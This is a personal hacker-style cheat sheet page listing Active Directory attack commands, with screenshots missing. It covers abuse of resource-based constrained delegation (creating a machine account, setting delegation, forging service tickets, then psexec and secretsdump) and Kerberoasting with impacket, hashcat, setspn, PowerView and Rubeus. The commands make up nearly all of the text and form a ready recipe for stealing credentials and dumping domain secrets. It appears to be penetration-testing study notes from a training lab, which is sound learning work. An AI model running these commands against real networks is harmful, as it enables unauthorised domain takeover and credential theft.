rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

AD attacks-:


Abuse Resource-Based Constrained Delegation to Gain Unauthorized Access


BCD is configured by setting the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
This attribute specifies which service accounts or systems are permitted to act on behalf of users to access the target resource.
-To exploit this type of delegation, an attacker must gain access to an account with Write permissions on the targeted resource (computer object), such as GenericAll, GenericWrite, and WriteDACL.

image

addcomputer.py -computer-name 'password' -computer-pass 'password' -dc-ip [ip] '[domain]/[username]:[password]'

image

image

python3 rbcd.py 10.10.11.174 -u [domain]\\[user] -p '[password]' -t DC -f [newly created computer]

image

python3 getST.py -spn cifs/[object with unconstrained delegation over] -impersonate [user] -dc-ip [ip] '[domain]/[user]:[password]'

image

image

Syntax-:

KRB5CCNAME=[ccache file name [endswith .ccache] impacket-psexec [domain]/[user]@[object] -k -no-pass

image

impacket-secretsdump -k -target-ip [ip] [domain name]

image

image


Reference



Kerbroasting



Steps(Kerberoasting with GetUserSPNs.py)


image

impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend

image

impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev

image

hashcat -m 13100 kerberoasted_sqldev /usr/share/wordlists/rockyou.txt
impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile kerberoasted_sqldev

image

image

impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request 

image


Using Windows for kerberoasting( Semi Manual mode)


setspn -Q */*

image

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

image

base64 /out::true
kerberos::list /export

image


Prepping it for cracking


image

image

sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' tickets.txt
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname

image

Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

image

Get-DomainUser * -spn | Get-DomainSPNTicket -Format Hashcat | Export-csv .\powershell.csv -NoTypeInformation

image


Using Rubeus


.\Rubeus.exe kerberoast /stats

image

.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

image


Other Encryption Types


.\Rubeus.exe kerberoast /user:testspn /nowrap
Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes

image

 .\Rubeus.exe kerberoast /user:testspn /nowrap /tgtdeleg

image